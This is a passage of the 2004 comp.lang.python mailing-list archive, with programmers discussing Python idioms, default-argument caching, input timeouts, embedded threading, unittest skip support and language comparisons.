2004 From: steven.bethard at gmail.com (Steven Bethard) Date: Thu, 30 Sep 2004 04:05:37 +0000 (UTC) Subject: constructing binary backslash-n References: <1f7befae04092919484211a3bb@mail.gmail.com> <1985B3AF-1290-11D9-9E53-000A95D49904@neosynapse.net> <150812DC-1295-11D9-9E53-000A95D49904@neosynapse.net> Message-ID: Steven Arnold neosynapse.net> writes: > > On Sep 29, 2004, at 11:47 PM, Steven Bethard wrote: > >>>> ('\\\\' + 'n').decode('string_escape') > > '\\n' > > > > (I just learned this today in an earlier thread...) > > Yes! Perfect. I assume your backslashes got screwed up like my > earlier message. Weird, yes. If I look at my email at gmane or in my newsgroups through Thunderbird, I see only (that is, just two)... Seems like maybe there's something weird in your reader -- I can see that your forward of my text does have the 4 backslashes. Anyway, I'm glad it helped. One of the things I love about this newsgroup is that every time I learn something new, I immediately find a use for it. =) Steve From a at a.invalid Wed Sep 15 03:31:08 2004 From: a at a.invalid (Timo Virkkala) Date: Wed, 15 Sep 2004 07:31:08 GMT Subject: The pythonic approach In-Reply-To: <414656ab$0$4777$a729d347@news.telepac.pt> References: <414656ab$0$4777$a729d347@news.telepac.pt> Message-ID: <0dS1d.52$AA4.38@read3.inet.fi> def thisReallyWorks(x): if x == "6$": return "$10 000" else: return x # or maybe investments = {"6$": "$10 000"} def thisReallyWorks(x): return investments.get(x, x) -- Timo "WT" Virkkala "In the battle between you and the world, bet on the world." From aleaxit at yahoo.com Tue Sep 14 10:50:26 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Tue, 14 Sep 2004 16:50:26 +0200 Subject: Find first in sequence (simple question) References: Message-ID: <1gk43pl.1ra5lujawd9lnN%aleaxit@yahoo.com> Neal D. Becker wrote: ... > I really was looking for a more general "find_first" function, that would > find the first occurance in a sequence meeting some predicate, with > short-circuit evaluation (not evaluating the function for every element > first). Steven Bethard's suggestion does generalize nicely: def find_first(seq, pred): return itertools.ifilter(pred, seq).next() This gives you the first _item_ in seq that satisfies pred (or raises StopIteration if none does -- it's easy to wrap a try/except around the return statement to change exception, return a default value, whatever). If you want the _index_ of that first item it's a bit worse...: def find_first_index(seq, pred): def aux_pred((index, item)): return pred(item) return itertools.ifilter(aux_pred, enumerate(seq)).next()[0] Alex From tjreedy at udel.edu Thu Sep 9 22:51:46 2004 From: tjreedy at udel.edu (Terry Reedy) Date: Thu, 9 Sep 2004 22:51:46 -0400 Subject: found bakups of code I never asked for --- References: Message-ID: "Anon" > : You should/can run Accessories/System Tools/Disk Cleanup periodically with > : 'clear temp files' checked. Will solve more problems than just this. > : > : TJR > > > So it's not a python functionality, but a windows one?? Many Windows programs to leave junk in the Temp directory. That is why Disk Cleanup has the option to clean that directory. So changing the behavior of PythonWin to your liking will not change anything else ;-) You should also select Delete Temporary Internet Files. I suspect that too few users of Outlook Express know that it copies download media files of at least some types to a subdirectory of that directory and does *not* delete that copy when one does 'delete all downloaded files'. I just check everything in Disk Cleanup and have never had a problem. I also defragment regularly. Terry J.Reedy From oliver.schoenborn at utoronto.ca Mon Sep 27 16:07:03 2004 From: oliver.schoenborn at utoronto.ca (Humpdydum) Date: Mon, 27 Sep 2004 16:07:03 -0400 Subject: batch pretty (color) print of python code? Message-ID: Any freeware/open-source that does that? Windows- OR Linux-based is fine. On Linux it would be s/t like "pyprint -r *.py > out.ps" where -r indicates recursive. Done a search on google and nothing solid comes up. So far I've been using Boa's print feature, which means one file at a time, tedious. Thanks, Oliver From grante at visi.com Fri Sep 3 00:23:13 2004 From: grante at visi.com (Grant Edwards) Date: 03 Sep 2004 04:23:13 GMT Subject: OT: DeviceNet via Python (was Re: It's in Python. It just _works_!) References: <4137b3ed$0$65570$a1866201@newsreader.visi.com> <9JmdnQgSR7k-eqrcRVn-sA@powergate.ca> Message-ID: <4137f1b1$0$8083$a1866201@newsreader.visi.com> On 2004-09-03, Peter Hansen wrote: > Grant Edwards wrote: > >> A few months back I wrote a sort of a strip-chart recorder >> program that talks DeviceNet to a measurement widget and plots > ... > > Grant, could you say anything about what gadgets were involved > that let you talk to DeviceNet with Python? Did it have a > serial port, or talk TCP directly, or something else? I use a USB/CAN interface from PEAK-System Technik GmbH. [Warning: rather sucky website designed by somebody obsessed with frames] http://www.peak-system.com/ In the US it's distributed by Grid Connect: http://www.gridconnect.com/usbcanin.html I don't have the Python code talking to it under Windows yet (that's tomorrow's project). Apprently it doesn't come with a stand-alone Windows device driver, but rather a DLL that you make calls into to send/receive frames. There are VB example programs, so I should be able to get Python to talk to it. In the meantime, the windows app has been talking TCP/IP to a Linux machine that has the CAN/USB interface plugged into it. The Linux machine runs a transparent multiplexor program that allows multiple programs to talk to the USB CAN interface simultaneously via TCP/IP and/or Unix domain sockets. [Actually, the windows app was running under WinMe inside a Win4Lin virtual machine under Linux and talking TCP/IP to the host Linux OS which has the USB/CAN adapter plugged into it.] FYI, the Linux driver for PEAK products has two API's for sending and receiving CAN frames: one uses newline-terminated ASCII hex strings and the normal read()/write() calls. That's the one I'm currently using, since it's so easy to multiplex access and troubleshoot. If you want to reduce overhead, you can make ioctl() calls to send/receive frames in binary structures, but that would mean that my multiplexor program would need to be smarter. Right now the multiplexor has no clue what the data means or what the device is, it just shovels newline-terminated strings back and forth between a file descriptor and some sockets. -- Grant Edwards grante Yow! I want a VEGETARIAN at BURRITO to go... with visi.com EXTRA MSG!! From deetsNOSPAM at web.de Fri Sep 3 06:54:32 2004 From: deetsNOSPAM at web.de (Diez B. Roggisch) Date: Fri, 03 Sep 2004 12:54:32 +0200 Subject: compiling to python byte codes References: <4136b2b5$1@news.unimelb.edu.au> <4136bbf3$0$197$9b622d9e@news.freenet.de> <6f402501.0409020321.44fd443@posting.google.com> <41375f6a$0$13076$9b622d9e@news.freenet.de> <4137a850$1@news.unimelb.edu.au> <4137bf73$1@news.unimelb.edu.au> <4137e739$1@news.unimelb.edu.au> <4137f79f$1@news.unimelb.edu.au> Message-ID: Maurice LING wrote: > > I dont't quite get this right. Since x86/PPC uses register operations, > why do virtual machines, like python's and java's, are designed as stack > machines? Why not just stick to registers? Because stacks are common to _all_ processors, where registers are differing from architecture to architecture - the x86 hasn't been very gifted in that respect (not sure if that changed recently - at least the SIMD instructions introduced registers, but you can't rely on that beeing available) So resorting to stacks makes the implementation totally independend of the actual processor architecture - and stacks are as good as registers in terms of abstract use. What a JIT then does is purely up to its implementors - but thats another topic. -- Regards, Diez B. Roggisch From aleaxit at yahoo.com Sun Sep 26 04:39:15 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sun, 26 Sep 2004 10:39:15 +0200 Subject: Unexpected Python Behavior References: <4e4a11f8.0409232355.6ba0468d@posting.google.com> <2srcl0poenac7hl39gmbmgvj4e0sp6fp38@4ax.com> Message-ID: <1gkpsyw.16zk21c1hoc4taN%aleaxit@yahoo.com> Andrea Griffini wrote: > On Fri, 24 Sep 2004 14:48:37 +0100, Michael Hoffman > wrote: > > >I think you're missing the usefulness of this feature. Go back to the > >link you included and read the next paragraph, "This feature can be useful." > > Given that now functions can have attributes, wouldn't be better > stop pushing ugly, risky and cryptic syntax for poor's man static ? I think it's in fact very nice syntax: def f(x, cache=[]): if x in cache: ... vs your apparently implied suggestion of: def f(x): if x in f.cache: ... f.cache = [] which among other things suffers from f.cache having to be used in spots that come lexically before it's defined; or a decorator equivalent: @ set_function_attributes(cache=[]) def f(x): if x in f.cache: ... As for 'risky', both approaches are. The default argument risks the user mistakenly passing a corresponding actual-argment; the function attribute risks the user rebinding the name. It just don't work when the function name aint'a global, as in a closure; nor does it work equivalently for an overriden method, e.g.: class base: def f(self, x, cache=[]): if x in cache: ... class derived(base): def f(self, x, y, cache=[]): if y not in cache: return base.f(self, x) here you get two separate caches, one for base.f and one for derived.f, no sweat -- and if you want base.f to use derived.f's cache when call from there, just chance the last call to 'base.f(self, x, cache)' -- obvious, simple, elementary. See now what happens with the use of 'self.f.cache' or 'base.f.cache': how do you get two separate caches, or get to share one, as easily as with the normal approach? You're forcing base's designer to decide for all derived classes, the normal approach is clearly more flexible. And good luck in explaining all this to beginners -- while the default argument approach is really trivial to explain. Simple is better than complex, and a general technique like using default values for caching is better than a technique based on attributes which is not general enough to be just used everywhere. _Plus_, teaching this use of default values to beginners helps them understand how default values work in all cases. Explaining the dirty tricks needed to extend a bit the applicability of using function attributes for caching offers no such nice "side advantage". > IMO one thing is backward compatibility, another is pushing the > uglyness in the future for no good reasons. I think there are plenty of good reasons, see above. In addition, accessing a local name is of course way faster than accessing a global name and then an attribute thereof. In 2.3, I repeatably measure 1.75 vs 2.50 usec; in 2.4, 1.25 vs 1.84. If that was all the local-argument-default advantage, one could quibble, but coming on top of the above-mentioned arguments, I think it's nice too. > I am talking about the python docs that everywhere are apparently > advocating this approach for local cache implementation. Is this > doing any good for newbies approaching python ? Yes, it helps them a lot to understand, realize, and remember, that default values are shared among all of a function's calls. > Or may be this is more pythonic ? If yes... why ? It's simpler and more general. If I were to use a decorator, I'd rather have it inject 'static locals' in some way that doesn't let them be optionally passed as arguments, but still in local namespace -- less flexible than the plain good old technique, but avoids "accidental argument-passing" and may be nice when you need to support *args. I think the implementation of such a decorator is a bit messy, though, and besides flexibility you lose the nice educational side effect. So, I prefer the status quo in this case. Alex From johnfabel at btinternet.com Thu Sep 30 11:14:43 2004 From: johnfabel at btinternet.com (John Abel) Date: Thu, 30 Sep 2004 16:14:43 +0100 Subject: Python /etc/shadow In-Reply-To: <831f3acd.0409280307.6083219a@posting.google.com> References: <831f3acd.0409280307.6083219a@posting.google.com> Message-ID: <75144363-12F3-11D9-97EF-000D935578B8@btinternet.com> Have a look at Medusa. There is some code in the examples that checks against passwd/shadow. Regards John On 28 Sep 2004, at 12:07, shakeeb wrote: > hi > i am pretty new to python .i was wondering whether there is any > module so that i could authenticate against /etc/shadow file i tried > pwd it only checks the /etc/passwd file > Any help will be appreciated > shakeeb > -- > http://mail.python.org/mailman/listinfo/python-list > From adalke at mindspring.com Sat Sep 4 17:32:21 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Sat, 04 Sep 2004 21:32:21 GMT Subject: docs on for-loop with no __iter__? In-Reply-To: References: Message-ID: Steven Bethard wrote: > Presumably there was a reason not to use len() to determine > the end of the sequence? Because that allows iteration over things where you don't yet know the size. For example, reading lines from a file. Here's how it could have been done using Python 1.x class FileReader: def __init__(self, infile): self.infile = infile self._n = 0 def next(self): line = self.infile.readline() if not line: return None self._n = self._n + 1 return line def __getitem__(self, i): assert i == self._n, "forward iteration only" x = self.next() if x is None: raise IndexError, i return x I used the _n to double check that people don't think it's a random access container. Support for Python 2.x iterators was easy, def __iter__(self): return iter(self.next, None) Andrew dalke at dalkescientific.com From aleaxit at yahoo.com Sun Sep 19 05:21:49 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sun, 19 Sep 2004 11:21:49 +0200 Subject: Need function like "raw_input", but with time limit References: <1fhpk0pfgvupkdk2i43qg3olahij29qesb@4ax.com> Message-ID: <1gkcxpr.gihdewhg6wadN%aleaxit@yahoo.com> Radioactive Man wrote: > anyone know of a function like "raw_input", which collects a string > from the user entry, but one where I can set a time limit, as follows: > > time_limit = 10 # seconds > user_answer = function_xyz("GIVE ME AN ANSWER: ", time_limit) > > > The problem with "raw_input" is that it will stop unattended script > indefinitely. I'm looking for a function that does the exact same > thing, but with a time limit feature, and preferably one that returns > an empty string ('') when it gets no response. Any suggestions? It depends on what platforms you need to run on. On any kind of Unix-like platform (including Linux, BSD, MacOSX, ...), the function select of module select can work on any kind of files, including sys.stdin, and it does provide timeout functionality, too. So, you could sys.stdout.write the prompt, then call select.select with sys.stdin.fileno as the only file descriptor of interest and whatever timeout you wish. Depending on what select.select returns you can then either sys.stdin.readline (and strip the trailing \n) or just return the empty string from your function. Unfortunately, on Windows, select.select works only on sockets, not ordinary files nor the console. So, if you want to run on Windows, you need a different approach. On Windows only, the Python standard library has a small module named msvcrt, including functions such as msvcrt.kbhit which tells you whether any keystroke is waiting to be read. Here, you might sys.stdout.write the prompt, then enter a small loop (including a time.sleep(0.2) or so) which waits to see whether the user is pressing any key -- if so then you can sys.stdin.readline etc, but if after your desired timeout is over no key has been hit, then just return the empty string from your function. All of this assumes that if the user has STARTED typing something then you want to wait indefinitely (not timeout in the middle of their entering their answer!). Otherwise, you have more work to do, since you must ensure that the user has hit a Return (which means you must peek at exactly what's in sys.stdin, resp. use msvcrt.getch, one character at a time). Fortunately, the slightly simpler approach of waiting indefinitely if the user has started entering seems to be the preferable one from a user interface viewpoint -- it lets you deal with unattended consoles as you desire, yet IF the user is around at all it gives the user all the time they want to COMPLETE their answer. Alex From my.news.groups at noos.fr Thu Sep 16 19:05:13 2004 From: my.news.groups at noos.fr (nik) Date: Fri, 17 Sep 2004 01:05:13 +0200 Subject: Embedded python with threads In-Reply-To: References: <41486865$0$26393$79c14f64@nan-newsreader-06.noos.net> Message-ID: <414A1C29.6000305@noos.fr> Greg Chapman wrote: > On Wed, 15 Sep 2004 18:05:54 +0200, nik wrote: > > >>//// >>Py_Initialize(); >> >>// PyImport_ImportModule blocks until the myModule script has run >>// through... >>PyObject* module = PyImport_ImportModule("myModule"); >> >>PyObject* function = PyObject_GetAttrString(module, "GetList"); >>while(1) { >> PyObject* pyList = PyObject_CallFunction(function, ""); >> // use the stuff in pyList >> sleep(15); >> } > > > I'm not sure I fully understand your problem, but in the loop above, you should > have: > > Py_BEGIN_ALLOW_THREADS > sleep(15); > Py_END_ALLOW_THREADS > > This releases the Python GIL during the sleep call, allowing your list-filling > thread to run. > > >># the following statement happens when the C++ app imports the module, >># but the thread only lives as long the main python thread (which is >># over straight away on my linux PC) >> > > > This is what I don't understand, since the Python main thread should be the > thread on which Py_Initialize was called; it should remain alive (from Python's > perspective) until Py_Finalize is called. > I think I was making an assumption that since the list filling threads didn't run that the import module was calling the create thread command, then exiting (killing the children threads along with it) - I'm a novice at threads with python, so I'm probably misunderstanding the general picture. However, maybe your suggestion of the Py_BEGIN_ALLOW_THREADS will make the difference. I'll try again as soon as I can (not until next week now)... many thanks for the reply, nik > --- > Greg Chapman > From tweedgeezer at hotmail.com Thu Sep 23 11:40:46 2004 From: tweedgeezer at hotmail.com (Jeremy Fincher) Date: 23 Sep 2004 08:40:46 -0700 Subject: unittest: new reporting category "skipped" References: Message-ID: <698f09f8.0409230740.18bc9185@posting.google.com> Remy Blank wrote in message news:... > Hello unittest users, > > In a project I am working on, I have a series of tests that have > to be run as root, and others as a normal user. In my project, I have many tests that require a network connection, and many others which don't. > One solution is to separate the tests into two different files, > and run the right one. I don't like this too much, as I prefer > to group tests by "function". I agree. > class AnythingTest(unittest.TestCase): > def testSomethingAsRoot(self): > self.skipIf(os.geteuid() != 0, "Must be root") > > self.assertEqual(...) > ... > > def testSomethingAsNormalUser(self): > self.skipIf(os.geteuid() == 0, "Must be normal user") > > self.assertEqual(...) > ... With all the argument that's happened on this list regarding decorators and conditional expressions and whatnot, I had been wondering whether anyone here came up with good ideas anymore. But you've certainly given a counterexample for that notion: your idea is golden. > If the echo is positive, I will make an initial implementation and > provide a patch for feedback. Even if it doesn't get accepted into Python proper, I'll take a copy and put it with my project -- I already provide my own unittest.py that I hacked to show the total number of asserts (I was curious one day, and it's turned out to be a remarkably useful thing to have, since my tests-upon-tests can hide unreaonable numbers of assertions which otherwise would go unnoticed (except as a general slowness of the test suite). Jeremy From bj_666 at gmx.net Tue Sep 21 16:25:57 2004 From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch) Date: Tue, 21 Sep 2004 22:25:57 +0200 Subject: New to Python References: Message-ID: In , Jimmie Webb wrote: > I tried x = float(nCost) but keep getting an error > > ValueError: Invalid literal for float(): EATE TA Maybe the slice values are just wrong? Have you printed all your variables after picking them from the string to make sure they contain what you expect? Ciao, Marc 'BlackJack' Rintsch From davecook at nowhere.net Sat Sep 11 00:53:41 2004 From: davecook at nowhere.net (David Cook) Date: Sat, 11 Sep 2004 04:53:41 GMT Subject: Postgresql - Preferred Python Library References: <4140e595$0$22790$5a62ac22@per-qv1-newsreader-01.iinet.net.au> Message-ID: On 2004-09-09, Graeme Matthew wrote: > Can anyone tell me what is the recommended Python library for database > connections My preference is psycopg, but I also try to test with the standard one that comes with postgres (the DBAPI module is pgdb) and pyPgSQL. Dave Cook From jeffrey at fro.man Thu Sep 9 00:16:00 2004 From: jeffrey at fro.man (Jeffrey Froman) Date: Wed, 08 Sep 2004 21:16:00 -0700 Subject: Using Python to generate code? References: <1gjt2sn.1mxhb1n12y29cuN%aleaxit@yahoo.com> <1gjt4u3.qme0dh1ucx3ybN%aleaxit@yahoo.com> Message-ID: <10jvm82sae48rfd@corp.supernews.com> Steven Bethard wrote: > So, yes, the Template solution is cleaner, but not drastically so.??It > saves you 3 characters per variable -- '(', ')' and 's'.??Of?course?the > more variables you have to write, the bigger the deal it is True, and calling string.Template() is an extra 17 characters, so there would have to be 6 variables in your string before you got a typing payoff. :-) Of course, some people might prefer the look of the Template. Jeffrey From anna at aleax.it Sun Sep 26 13:49:34 2004 From: anna at aleax.it (Anna Martelli Ravenscroft) Date: Sun, 26 Sep 2004 17:49:34 GMT Subject: Newby Project In-Reply-To: <415230f9@dnews.tpgi.com.au> References: <415230f9@dnews.tpgi.com.au> Message-ID: dit wrote: > I want to start something small, like a learning program. I've been > looking and learning python for about 4 months; and I think that I have > the basics under my belt... is it worth trying my own project, or is it > better to continue with the py tutes? Yes. Start coding some of your own stuff. You'll find all new questions (and answers) when you do. > Also if I was to start, how do I pose myself the question of what am I > actually trying to achieve / what am I trying to make? Think about some project you'd really like to have automated. Then think about the following questions: What would you get from it? What kind of output would you want? What kind of input (one time, maintenance, adding, deleting)would you want to do? Do you want gui or commandline? Would you want it to work crossplatform? Or just on one machine? If you've got those answered (at least a start of the answer), then you can start working on the project itself... HTH, Anna From max at alcyone.com Thu Sep 2 20:12:54 2004 From: max at alcyone.com (Erik Max Francis) Date: Thu, 02 Sep 2004 17:12:54 -0700 Subject: It's in Python. It just _works_! References: <4137b3ed$0$65570$a1866201@newsreader.visi.com> Message-ID: <4137B706.B666E733@alcyone.com> Grant Edwards wrote: > Today, just for fun, I decide to try to run it under Win32. > After installing the Numeric and Gnuplot modules, I only had to > make 1-line changes to two places in the code, and it started > working. I was similarly surprised when, after writing ZOE (a simple 3D rendering engine using OpenGL) for Linux, I decided on a whim to try it on Windows (since I don't use Windows for anything other than playing games). After installing PyOpenGL, a fairly involved simulation worked with absolutely no hitches. In my case, I didn't even have to change one line of code! Now, granted, the whole purpose of OpenGL is platform independence. But my experience has been that hardly matters when you're trying to get things working on Windows ... -- __ Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/ / \ San Jose, CA, USA && 37 20 N 121 53 W && AIM erikmaxfrancis \__/ I can paint a portrait of myself / I will call me a black Mona Lisa -- Lamya From aleaxit at yahoo.com Wed Sep 15 13:30:30 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 15 Sep 2004 19:30:30 +0200 Subject: The pythonic approach References: <414656ab$0$4777$a729d347@news.telepac.pt> <0dS1d.52$AA4.38@read3.inet.fi> Message-ID: <1gk64qx.hlrsmm17i2vl0N%aleaxit@yahoo.com> Steven Bethard wrote: ... > I actually wrote code not too long ago that did make a call like .get(x, x). I consider somedict.get(x, x) a _frequent_ Python idiom! translate_some_tags = dict( application='literal', foobar='barfoo', whatever='somethingelse', } def translate_tag(tagName, attributes_dict): if tagName == 'emphasis' and attributes.get('role')=='bold': return 'bold' else: return translate_some_tags.get(tagName, tagName) Isn't that a pretty frequent idiom when doing some minor massaging of XML markup, for example? (Spare me the passionate defenses of XSLT please... I'm happy to use XSLT when warranted, but a lot of the XML processing I do, and I _do_ do a lot of that, is in Python+pulldom...!-). > back. I didn't have a function for it in my code, but I don't see why a > function like: > > def getstem(self, word): > return self.stemdict.get(word, word) > > would be so unreasonable. A very good idea! If tomorrow you need to specialcase something, based e.g. on RE's, you stick those into getstem (just like I do in translate_tag for the few cases where a tag's translation may depend on its attributes), and Bob's your uncle. MUCH better than spreading calls to get(word,word) all over the place!!! Alex From abra9823 at mail.usyd.edu.au Wed Sep 15 04:16:07 2004 From: abra9823 at mail.usyd.edu.au (Ajay) Date: Wed, 15 Sep 2004 18:16:07 +1000 Subject: tkinter + interrupts Message-ID: <1095236167.4147fa4752076@www-mail.usyd.edu.au> hi! on my gui, i have a "start server" button and a "stop server" button. the problem is "start server" will loop infinitely and respond to requests. i'd like to be able to click on "stop server" and get the server to stop. how would i go about doing it? i can think of a soln involving threads, where i have "start server" in a separate thread and have it continously poll a shared variable. but is there another solution not involving threads. thanks cheers ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. From martin at v.loewis.de Wed Sep 15 01:20:01 2004 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Wed, 15 Sep 2004 07:20:01 +0200 Subject: Is this a bug in the windows tempfile.py? In-Reply-To: References: Message-ID: <4147d101$0$173$9b622d9e@news.freenet.de> Jonathan Wright wrote: > Should the wrapper inherit types.FileType? No. Code assuming that the result from tempfile.TemporaryFile is a file object is broken - you are only guaranteed a file-like object. Applications should not use isinstance to determine whether something is a file-like object. Regards, Martin From rademacher at prostep.FTA-berlin.de Mon Sep 27 08:09:48 2004 From: rademacher at prostep.FTA-berlin.de (Thomas Rademacher) Date: Mon, 27 Sep 2004 14:09:48 +0200 Subject: synchronize a block Message-ID: <2rqduhF1di4lmU1@uni-berlin.de> Hallo, I want to synchronize the main function of my script. I havn't a class structure in my script. def main(): # my code to synchronized if __name__=='__main__': main() How can I resolve this problem simply? Thank's for your hints, Thomas From tim.peters at gmail.com Sat Sep 11 11:20:52 2004 From: tim.peters at gmail.com (Tim Peters) Date: Sat, 11 Sep 2004 11:20:52 -0400 Subject: Shorter checksum than MD5 In-Reply-To: <9418be08.0409110359.4e8aac81@posting.google.com> References: <7xfz5rn1w2.fsf@ruckus.brouhaha.com> <7xllfjfe9m.fsf@ruckus.brouhaha.com> <9418be08.0409100656.516fef2d@posting.google.com> <9418be08.0409110359.4e8aac81@posting.google.com> Message-ID: <1f7befae040911082030b134e@mail.gmail.com> [Elbert Lev] > Very good. But I beleive, he [Paul Rubin] did not mentioned a "hostile > environment". You quoted this qualification from Paul, which I quoted too: >> Also, with CRC32, it's very easy to create a record on purpose that has any >> given checksum. Is THAT a problem? ... I suppose that's not a hostile environment if you believe that when someone deliberately tries to fool your checksum, they're trying to express love. I don't personally believe that. Well, not in general. Some people express their emotions in peculiar ways. But I assume too that Paul wasn't really talking about abnormal psychology, in which case his point here was quite clear. then-again-perhaps-love-&-hostility-are-the-same-thing-ly y'rs - tim From hans at zephyrfalcon.org Sun Sep 19 23:17:57 2004 From: hans at zephyrfalcon.org (Hans Nowak) Date: Sun, 19 Sep 2004 23:17:57 -0400 Subject: python is going to die! =( In-Reply-To: References: Message-ID: julio wrote: With a subject like that, you don't really need to read the message to figure out that it's an obvious troll. I don't want to feed it, but between all the "crap" and "retarded" rhetoric, some actual points can be discerned. A few comments are in order... > What does c# .net has that python doesnt ? (significant features) > > -- tools,tools,tools : have people that likes python ever used an ide? i > mean a good ide, the one that saves you a lot of time, and makes you > productive. Such an IDE will only make you significantly more productive if the language is inherently *UN*productive. There's a reason full-fledged IDEs are popular with languages like Java and C# and less popular with Python. I haven't done much Java programming, but when I did, I was constantly looking up stuff (classes, methods, types, etc); in that kind of environment, code completion, tooltips etc are very useful. Without them, programming in these languages is (even more of) a pain. In Python, I don't very often need to look things up, and if I do, the interactive interpreter can be a great help. As a result, a text editor suffices for most Python programming, even for large projects. (Some people might want to use an IDE anyway, but that is mostly a matter of preference, not of necessity.) > -- C # is almost perfetly designed, python is very well designed but it has > some crap that obscurize it and is not going to be removed because of the > damn backwards compatibility thing, The "damn backwards compatibility thing" guarantees that older Python code still runs, more or less unchanged, on recent interpreters. (Well, most of the time.) > -- C # is easy to use,fast apps coding (as python) but!! it has all the > advantages of a compiled language , like less bugs concerning silly types > mistakes , ides and tools can take much much more advantage of static > typing , it is much much much faster , and finally is much more readable > than python since i dont have to be guessing in the woods to know what type > of value a function return , or what types are the functions argument or > WTF does 'return MOM' means? This is only an issue if you think the actual types of things are important. Code like def foo(x, y): x.this() y.that() doesn't *need* types. All Python cares about is that x has the this() method, and that y has the that() method. The actual types are unimportant. This is an important difference from languages like C# (and Java, ObjectPascal, C++, yadda yadda), and allows for entirely different coding styles and design. If you think this is a problem or a deficiency, then you don't understand what Python (or dynamic languages in general, really) is all about. > -- C # is killing python, first the gnome guys dont know what to choose for > their core system development , if mono-C # ? or java ? the only reason C # > hasnt being choosen is because of legal issues, and java? well it realy > sucks so no surprise , but is considered just because eclipse wich is the > most kick ass ide ever. AND they dont even consider python for a high level > language to choose!! If they're choosing between Java and C#, they were obviously not interested in high-level languages. Also, the article you mention in another post (http://news.zdnet.co.uk/software/applications/0,39020384,39166682,00.htm) says: """Waugh conceded that the decision to move to a higher level programming language is partly a political one. Two major corporate backers of the GNOME project have competing technologies -- Novell with the Mono project and Sun Microsystems with Java.""" -- Hans Nowak (hans at zephyrfalcon.org) http://zephyrfalcon.org/ From peter at engcorp.com Fri Sep 10 11:22:11 2004 From: peter at engcorp.com (Peter Hansen) Date: Fri, 10 Sep 2004 11:22:11 -0400 Subject: Electronic voting feasibility In-Reply-To: References: Message-ID: Greg Steffensen wrote: > Glad to hear that python is less susceptible to buffer-overflows; if > part of the system ended up touching the disk, would python's speed > make it susceptible to race conditions? Race conditions can occur with *anything*, and are generally a design issue, not a performance issue. Python's speed shouldn't be a concern here, with proper design (and the same thing needs to be said for C or assembly). I'm not sure why you tie that possibility to "touching the disk", though. What does that have to do with race conditions? Rather than answer detailed questions, I would simply say this to you. Python is very well suited to doing a prototype of an open source voting system. You might want to check the archives for this list before you start something from scratch, however: http://groups.google.ca/groups?q=open+source+voting+system+group%3Acomp.lang.python.* (Now I'm curious what happened to that project... Anand? David?) (That might lead you here http://evm2003.sourceforge.net/index.html and http://www.openvotingconsortium.org/ and from those you will find many other links to reference material.) -Peter From bokr at oz.net Wed Sep 29 15:16:31 2004 From: bokr at oz.net (Bengt Richter) Date: 29 Sep 2004 19:16:31 GMT Subject: Social Analysis and Modeling for Python References: Message-ID: On Wed, 29 Sep 2004 11:37:08 -0400, Bishara Gabriel wrote: >I encourage feedback from all parties and especially those which would >like to be directly involved (I may include you in the grant proposal >and budget). Send me your comments! > >-------> > >Project Objective > >We seek to introduce the advantages of object-oriented programming to >the realm of social sciences. We believe the fields thereof (economics, >history, sociology, political science, etc.), have much to gain from >OOP?s ability to represent social constructs. Particularly, we have >found Python to be well suited to the rapid formulation of social models >due to its syntactic simplicity, outstanding support for object-oriented >programming, and comprehensive libraries. Unfortunately, most academics >in the aforementioned fields are unaware of the capabilities, let alone >applicability, of programmatic representation. Those who do are >typically put off by the inadequacy and complexity of more traditional >languages such as C and C++. We therefore propose to disseminate an >understanding among these fields of the ability to develop social models >and represent social constructs via the rapid modeling capabilities of >the Python language. We seek to demonstrate how Python presents to them >limited costs in production time via its language features, and to show >how social models can be mentally approached in such a way that there >exists a one-to-one correlation between their theoretical model and the >Python equivalent. > >See the rest of the proposal at: >http://www.mtholyoke.edu/~bgabriel/Social_Analysis_&_Modeling_in_Python.pdf I am sure Python can be a great tool, but why no citations re existing "social models" that you mention? If you propose to "... show how social models can be mentally approached in such a way that there exists a one-to-one correlation between their theoretical model and the Python equivalent," ISTM your proposal would sound more concrete if you pointed to a specific "theoretical model" as your choice for a how-to-do-it-with-Python demonstration. Also citations of related work, and why your project adds value (besides advertising our favorite language ;-) Regards, Bengt Richter From pm_mon at yahoo.com Thu Sep 2 07:03:50 2004 From: pm_mon at yahoo.com (Paul Morrow) Date: Thu, 02 Sep 2004 07:03:50 -0400 Subject: Are decorators really that different from metaclasses... In-Reply-To: <20040902024221.GA3626@unpythonic.net> References: <20040902024221.GA3626@unpythonic.net> Message-ID: Jeff Epler wrote: > I think it's crazy to change the language so that some of these > functions give NameErrors when called, and others succeed. > > def f(): # Succeeds > if 1: > __x__ = None > return __x__ > > def f2(): # Fails (but identical to above, today) > __x__ = None > return __x__ > [snip] With contrived examples, lots of things can look 'crazy'. You don't really use __x__ as a local variable name do you? That should be a compiler warning at least when you do that. In fact, we obviously don't take magic variables seriously enough (IMO). If we want to invent a new one, we should probably have to declare it somehow, otherwiwe you get a 'undefined magic name' error. That would make it a little harder to confuse the reader of your code. So please try your examples again, but this time choose code that doesn't misuse magic variable syntax and which might possibly show up in the real world. > You complicate the language when you create a new type of assignment > that is special not because of the syntax, but because of the location > in the suite of "def". > docstrings are the precendent for this. > You violate the law that most several special statements are expressible > in terms of assignment (import, class, and def in terms of __import__, > type(), and lambda:) or assignment plus looping (for in terms of while + > except + assignment). > Yep, only the equal sign ('=') would be allowed there. That's not very limiting considering the intended purpose (making declarations), and it helps reinforce the visual separation of declaration and body. > You also add a new constraint not expressible directly in the Grammar > file. > It would be easy to write a BNF expression that states that the optional docstring is followed by 0+ assignments to magic variables. So what are you referring to here? > What about these? Are 2/3 of them now to be invalid syntax (and the > remaining gives NameError)? Or will they all compile, and 2/3 of them > give an exception? > > def k(): > __x__, y = range(2) > return __x__ > > def k2(): > y, __x__ = range(2) > return __x__ > > def k3(): > __y__, __x__ = range(2) > return __x__ > As above, I think that the answer to your question becomes obvious once you try to craft real-life examples, using properly named magic and local variables. > Have you defined what happens in this case (I imagine that 'False' is > the proper output, but I also believe that many would be surprised to > get True)? > > __x__ = False > def m(): > __x__ = True > __y__ = __x__ > print m.__y__ > > Jeff > Rewrite and you'll see... __author__ = 'Morrow' # defines the container's author def m(): __author__ = 'Smith' # defines m's author __doc__ = __author__ # defines m's docstring print 